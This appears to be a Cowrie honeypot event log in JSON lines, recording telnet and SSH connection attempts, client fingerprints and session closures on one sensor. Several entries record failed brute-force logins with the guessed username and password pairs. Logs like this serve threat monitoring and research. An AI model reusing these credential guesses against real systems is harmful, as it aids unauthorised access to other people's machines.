{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":54768,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a3bda08571","protocol":"telnet","message":"New connection: 45.181.100.135:54768 (159.203.135.109:23) [session: 50a3bda08571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:08.220972Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":50846,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba5f307868f","protocol":"telnet","message":"New connection: 62.171.135.55:50846 (159.203.135.109:23) [session: cba5f307868f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:15.902055Z"}
{"eventid":"cowrie.session.closed","duration":31.098408460617065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:19.080413Z","src_ip":"62.171.135.55","session":"e667dc2bd260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":54430,"dst_ip":"10.17.0.5","dst_port":22,"session":"83454158477a","protocol":"ssh","message":"New connection: 80.94.92.182:54430 (10.17.0.5:22) [session: 83454158477a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:19.944742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:20.009868Z","src_ip":"80.94.92.182","session":"83454158477a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:20.082996Z","src_ip":"80.94.92.182","session":"83454158477a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"zxcvasdfqwer@1234","message":"login attempt [sol/zxcvasdfqwer@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:20.538527Z","src_ip":"80.94.92.182","session":"83454158477a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:21.697590Z","src_ip":"80.94.92.182","session":"83454158477a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42492,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe5bef8a0633","protocol":"telnet","message":"New connection: 62.171.135.55:42492 (159.203.135.109:23) [session: fe5bef8a0633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:23.416675Z"}
{"eventid":"cowrie.session.closed","duration":31.15728211402893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:25.281815Z","src_ip":"62.171.135.55","session":"9d16a8bec0c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":35644,"dst_ip":"159.203.135.109","dst_port":23,"session":"51675bd08a00","protocol":"telnet","message":"New connection: 185.26.126.47:35644 (159.203.135.109:23) [session: 51675bd08a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:29.429025Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57214,"dst_ip":"159.203.135.109","dst_port":22,"session":"70ba1e35372f","protocol":"ssh","message":"New connection: 159.203.92.129:57214 (159.203.135.109:22) [session: 70ba1e35372f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:32.012728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:32.017534Z","src_ip":"159.203.92.129","session":"70ba1e35372f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:32.022311Z","src_ip":"159.203.92.129","session":"70ba1e35372f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"dell@2019","message":"login attempt [ansible/dell@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:32.034378Z","src_ip":"159.203.92.129","session":"70ba1e35372f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:33.039872Z","src_ip":"159.203.92.129","session":"70ba1e35372f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.25407600402832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:37.259468Z","src_ip":"62.171.135.55","session":"ad2b96d52d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.926826000213623,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:37.355758Z","src_ip":"185.26.126.47","session":"51675bd08a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.263891458511353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:39.247103Z","src_ip":"62.171.135.55","session":"1b05352e49ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":41168,"dst_ip":"159.203.135.109","dst_port":23,"session":"4afb0d7f306c","protocol":"telnet","message":"New connection: 62.171.135.55:41168 (159.203.135.109:23) [session: 4afb0d7f306c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:41.486073Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44080,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b17ce9678f","protocol":"telnet","message":"New connection: 62.171.135.55:44080 (159.203.135.109:23) [session: 16b17ce9678f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:42.334460Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44746,"dst_ip":"159.203.135.109","dst_port":23,"session":"9218da55b654","protocol":"telnet","message":"New connection: 62.171.135.55:44746 (159.203.135.109:23) [session: 9218da55b654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:42.545028Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":45164,"dst_ip":"159.203.135.109","dst_port":23,"session":"500e5d1b175d","protocol":"telnet","message":"New connection: 62.171.135.55:45164 (159.203.135.109:23) [session: 500e5d1b175d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:42.655631Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":47836,"dst_ip":"159.203.135.109","dst_port":23,"session":"23101159cc34","protocol":"telnet","message":"New connection: 62.171.135.55:47836 (159.203.135.109:23) [session: 23101159cc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:43.417249Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":59160,"dst_ip":"159.203.135.109","dst_port":22,"session":"de3fa084f4e7","protocol":"ssh","message":"New connection: 43.159.177.40:59160 (159.203.135.109:22) [session: de3fa084f4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:44.803543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:44.811553Z","src_ip":"43.159.177.40","session":"de3fa084f4e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:44.880687Z","src_ip":"43.159.177.40","session":"de3fa084f4e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Passw0rd1","message":"login attempt [ubuntu/Passw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:45.163290Z","src_ip":"43.159.177.40","session":"de3fa084f4e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54942,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3fc33dfe32f","protocol":"telnet","message":"New connection: 62.171.135.55:54942 (159.203.135.109:23) [session: d3fc33dfe32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:45.635794Z"}
{"eventid":"cowrie.session.closed","duration":30.246187448501587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:46.148103Z","src_ip":"62.171.135.55","session":"cba5f307868f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:46.242522Z","src_ip":"43.159.177.40","session":"de3fa084f4e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":57688,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b1dd02b2cd0","protocol":"telnet","message":"New connection: 62.171.135.55:57688 (159.203.135.109:23) [session: 7b1dd02b2cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:46.609012Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34072,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba740434a792","protocol":"telnet","message":"New connection: 62.171.135.55:34072 (159.203.135.109:23) [session: ba740434a792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:48.256746Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":33544,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6ab8e3af317","protocol":"ssh","message":"New connection: 156.227.233.77:33544 (159.203.135.109:22) [session: a6ab8e3af317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:48.769851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:48.773966Z","src_ip":"156.227.233.77","session":"a6ab8e3af317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:48.933929Z","src_ip":"156.227.233.77","session":"a6ab8e3af317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"qwertyuiop","message":"login attempt [tester/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:49.608176Z","src_ip":"156.227.233.77","session":"a6ab8e3af317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:50.771858Z","src_ip":"156.227.233.77","session":"a6ab8e3af317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42790,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7bc7b540582","protocol":"telnet","message":"New connection: 62.171.135.55:42790 (159.203.135.109:23) [session: d7bc7b540582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:50.963285Z"}
{"eventid":"cowrie.session.closed","duration":30.777844190597534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:54.194410Z","src_ip":"62.171.135.55","session":"fe5bef8a0633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63022,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab3521e9e160","protocol":"ssh","message":"New connection: 213.209.159.158:63022 (159.203.135.109:22) [session: ab3521e9e160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:54.616308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:56.747734Z","src_ip":"213.209.159.158","session":"ab3521e9e160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:26:56.751256Z","src_ip":"213.209.159.158","session":"ab3521e9e160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53640,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e444864ac7d","protocol":"telnet","message":"New connection: 62.171.135.55:53640 (159.203.135.109:23) [session: 3e444864ac7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:04.223559Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"voldemort","message":"login attempt [root/voldemort] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:05.968827Z","src_ip":"213.209.159.158","session":"ab3521e9e160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019268989563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:07.860346Z","src_ip":"177.146.132.183","session":"0d90f7dcc81e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00140428543091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:08.555921Z","src_ip":"177.146.132.183","session":"1c716ed04b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:09.246974Z","src_ip":"213.209.159.158","session":"ab3521e9e160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13150,"dst_ip":"159.203.135.109","dst_port":22,"session":"863aa5adf6b9","protocol":"ssh","message":"New connection: 213.209.159.158:13150 (159.203.135.109:22) [session: 863aa5adf6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:09.354550Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":60004,"dst_ip":"10.17.0.5","dst_port":23,"session":"971703316554","protocol":"telnet","message":"New connection: 177.146.132.183:60004 (10.17.0.5:23) [session: 971703316554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:09.444726Z"}
{"eventid":"cowrie.session.closed","duration":120.00173902511597,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:09.480931Z","src_ip":"177.146.132.183","session":"5dd05c4deed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":60042,"dst_ip":"10.17.0.5","dst_port":23,"session":"26598df34f7d","protocol":"telnet","message":"New connection: 177.146.132.183:60042 (10.17.0.5:23) [session: 26598df34f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:10.139796Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":60018,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8857cc7a59d","protocol":"telnet","message":"New connection: 177.146.132.183:60018 (10.17.0.5:23) [session: a8857cc7a59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:10.171081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:27:11.408798Z","src_ip":"213.209.159.158","session":"863aa5adf6b9","protocol":"ssh"}
